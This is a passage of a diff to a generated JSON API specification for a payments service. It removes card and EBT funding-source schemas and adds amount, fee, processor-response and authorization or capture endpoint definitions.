cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "eci": { - "type": "string" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "cryptogram": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", + ], "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" + "feeType": { + "description": "Fee type discriminator", + "type": "string" } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } + }, + "title": "Tip Amount", + "type": "object" }, - "required": [ - "cardDetail" - ] + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents authorization transaction against a payment", + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "updateAuthorizationById", + "method": "PATCH", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}", + "summary": "Update authorization", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/merge-patch+json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Patch transaction", + "properties": { + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + } + }, + "title": "Patch Transaction", + "type": "object" + } + }, + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidAuthorizationById", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}", + "summary": "Void Authorization", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getAuthorizationSignaturesById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}/signatures", + "summary": "Get Authorization Signatures", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Authorization Signature list", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/pagedList" + } + ], + "properties": { + "items": { + "items": { + "$ref": "./models/transaction/Signature.yaml" + }, + "type": "array" + } + } + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "addAuthorizationSignatureByTransactionId", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}/signatures", + "summary": "Add Authorization Signature", + "description": "Add authorization signature by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "multipart/form-data", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "signature": { + "description": "Signature data in Binary format", + "format": "binary", + "type": "string", + "writeOnly": true + }, + "signatureUrl": { + "description": "URL of the image uploaded", + "format": "uri", + "readOnly": true, + "type": "string" + } + }, + "title": "Customer Signature", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Request was successful" + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidAuthorizationByRefNum", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionRefNum}", + "summary": "Void Authorization", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionRefNum", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/RefNum.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getCaptures", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/captures", + "summary": "Get Captures", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Capture list", + "schema": { + "allOf": [ + { + "properties": { + "links": { + "$ref": "./types/Links.yaml" + }, + "totalItems": { + "type": "integer" + }, + "totalPages": { + "type": "integer" + } + } + } + ], + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "type", - "number", - "source" - ] + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { - "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": 